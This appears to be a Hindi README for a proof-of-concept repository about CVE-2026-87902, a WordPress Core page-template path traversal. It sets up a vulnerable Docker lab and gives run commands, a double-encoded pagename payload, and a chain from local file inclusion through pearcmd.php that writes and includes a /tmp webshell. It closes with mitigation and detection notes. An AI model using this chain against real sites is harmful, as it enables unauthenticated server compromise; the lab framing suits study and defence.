
Docker में असुरक्षित लैब + CVE-2026-87902 के लिए Python PoC — WordPress Core में अनधिकृत path traversal (page-template -> LFI -> सशर्त RCE)। शैक्षिक/अधिकृत उपयोग।
जानबूझकर कमज़ोर लैब + CVE-2026-87902 के लिए Python में PoC: WordPress Core के page template रिज़ॉल्यूशन में अनऑथेंटिकेटेड path traversal, जो Local File Inclusion (LFI) और सशर्त RCE तक ले जाता है।
| फ़ील्ड | मान |
|---|---|
| उत्पाद | WordPress Core |
| प्रभावित संस्करण | 4.7.0 → 7.1.1 |
| फ़िक्स | 7.1.2 (4.7.37 तक बैकपोर्ट) |
| प्रकार | Path Traversal (CWE-22) → LFI → सशर्त RCE |
| प्रमाणीकरण | कोई नहीं (अनऑथेंटिकेटेड) |
| CVSS 4.0 | 9.2 (क्रिटिकल) |
| प्रकाशन | 2026-09-23 |
⚠️ कानूनी / नैतिक चेतावनी। यहाँ सारी सामग्री स्थानीय और अधिकृत वातावरण में अध्ययन के लिए है। यह लैब जानबूझकर असुरक्षित Docker इमेज है — इसे इंटरनेट पर एक्सपोज़ न करें।
exploit.pyका डिफ़ॉल्ट लक्ष्य जानबूझकरhttp://localhost:8091है। स्पष्ट लिखित अनुमति के बिना किसी भी सिस्टम के विरुद्ध PoC चलाना अपराध है। उपयोग की सारी ज़िम्मेदारी आपकी है।
EXPLOIT-CVE-2026-87902/
├── README.md # यह फ़ाइल
├── docker-compose.yml # लैब को localhost:8091 पर शुरू करता है
├── lab/
│ ├── Dockerfile # php:8.2-apache + PEAR + register_argc_argv=On
│ ├── config/zz-lab.ini # RCE की पर्यावरणीय पूर्व-शर्तें
│ └── src/ # "WordPress mini" जो कमज़ोर हिस्से को दोहराता है
│ ├── index.php # front controller (≈ template-loader.php)
│ ├── wp-mini.php # कमज़ोर get_page_template()/locate_template()/...
│ ├── private/
│ │ └── secret-config.php # थीम के बाहर .php लक्ष्य (LFI का प्रमाण)
│ └── wp-content/themes/twentytwelve-mini/
│ ├── style.css
│ ├── index.php
│ └── page-templates/ # traversal के लिए आवश्यक "page-*" डायरेक्टरी
│ └── full-width.php
└── exploit/
├── exploit.py # PoC (pt-BR): LFI + pearcmd के माध्यम से RCE चेन
└── requirements.txt
पूर्वापेक्षाएँ: Docker + Docker Compose और requests के साथ Python 3।
# 1) लैब शुरू करें (http://localhost:8091 पर उपलब्ध होगा)
docker compose up --build
# 2) दूसरे टर्मिनल में, PoC की निर्भरता इंस्टॉल करें और चलाएँ
cd exploit
pip install -r requirements.txt
python3 exploit.py # स्थानीय लैब के विरुद्ध LFI + RCE चलाता है
# उपयोगी विकल्प
python3 exploit.py --mode lfi # केवल LFI प्रमाण
python3 exploit.py --mode rce --cmd 'uname -a'
python3 exploit.py --target http://localhost:8091
# 3) लैब बंद करें
docker compose down
अपेक्षित आउटपुट (सारांश):
[LFI] Sucesso! Arquivo externo incluído -> SEGREDO_DO_LAB{lfi_via_page_template_traversal}
[RCE] Comando executado no servidor:
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
FLAG{cve_2026_87902_rce_no_wordpress_mini}
------------------------------------------------------------
get_page_template() में सार्वजनिक query var pagename का मान टेम्पलेट
नाम बनाने के लिए उपयोग किया जाता है। कोर कच्चे मान को validate_file()
से मान्य करता है (जो शाब्दिक .. को रोकता है), लेकिन फिर मान को एक बार
डिकोड करता है और परिणाम को टेम्पलेट उम्मीदवार के रूप में बिना पुनः
मान्य किए उपयोग करता है (wp-mini.php में सटीक
पुनरुत्पादन):
if ($pagename !== '' && 0 === validate_file($pagename)) {
$templates[] = "page-{$pagename}.php"; // कच्चा मान (अभी भी एन्कोडेड)
$pagename_decoded = urldecode($pagename); // <-- दूसरा डिकोड
if ($pagename_decoded !== $pagename) {
$templates[] = "page-{$pagename_decoded}.php"; // traversal फिर से शुरू
}
}
इसके बाद locator थीम + "/" + टेम्पलेट को जोड़ता है और मौजूद पहली फ़ाइल
को शामिल करता है, बिना realpath() या यह जाँच किए कि परिणाम थीम डायरेक्टरी
के अंदर ही रहता है।
हमलावर pagename को दोहरी एन्कोडिंग में भेजता है:
वायर पर मान (POST body): templates%252f%252e%252e%252f...%252fpearcmd
पहला डिकोड (HTTP): templates%2f%2e%2e%2f...%2fpearcmd <- शाब्दिक '..' नहीं => validate_file() पास
दूसरा डिकोड (core): templates/../../.../pearcmd <- वास्तविक traversal
चूँकि locator page- प्रीफ़िक्स लगाता है, पथ बन जाता है
page-templates/../../.../pearcmd.php। यह थीम के बाहर रिज़ॉल्व होता है।
page- से शुरू होने वाली टॉप-लेवल डायरेक्टरी वाली थीम (यहाँ,
page-templates/)। यह traversal का वास्तविक प्रारंभ बिंदु है: Linux में
../ रिज़ॉल्व होने के लिए पथ का प्रत्येक घटक मौजूद होना चाहिए। लिगेसी थीम
(Twenty Twelve/Fourteen) और लोकप्रिय थीम (Neve, Hestia, Sydney) इसे पूरा
करती हैं।register_argc_argv = On → $_SERVER['argv'] query string से
भरा जाता है।pearcmd.php पठनीय (आधिकारिक php:8.2-apache इमेज इसे
डिफ़ॉल्ट include_path में /usr/local/lib/php/pearcmd.php पर पहले से
शामिल करती है)।चूँकि locator .php जोड़ता है, LFI केवल .php फ़ाइलों तक पहुँच सकता है।
इसलिए RCE का व्यावहारिक मार्ग pearcmd.php के साथ श्रृंखलाबद्ध होता है:
config-create पास करते हुए
pearcmd.php को शामिल करें ताकि /tmp में एक .php वेबशेल लिखा जाए।/tmp/<webshell>.php को शामिल
करें → हमलावर का PHP निष्पादित होता है।पैच pagename के मान को सुसंगत रूप से संभालता है: किसी भी डिकोडिंग के बाद
मान्य करता है (या एन्कोडेड traversal अनुक्रमों वाले इनपुट को अस्वीकार करता
है) और टेम्पलेट रिज़ॉल्यूशन में डायरेक्टरी सीमा लागू करता है (अंतिम पथ
थीम के अंदर ही रहना चाहिए)। परिणाम: दोहरी एन्कोडेड मान अब include तक नहीं
पहुँचता।
शमन उपाय: ≥ 7.1.2 पर अपडेट करें; और गहन रक्षा के रूप में,
register_argc_argv = Off, pearcmd.php को हटाएँ/प्रतिबंधित करें, और एक WAF
जो अनुरोधों में एन्कोडेड ../ (%2e%2e%2f, %252e...) का पता लगाए।
../ (%2e%2e%2f, %252e%252e%252f)
वाले फ्रंट-एंड अनुरोध।pagename में असामान्य मान),
विशेष रूप से config-create / pearcmd संदर्भों वाली query strings के साथ
संयोजित।/tmp में अप्रत्याशित .php फ़ाइलों का निर्माण और उसके बाद उनका inclusion।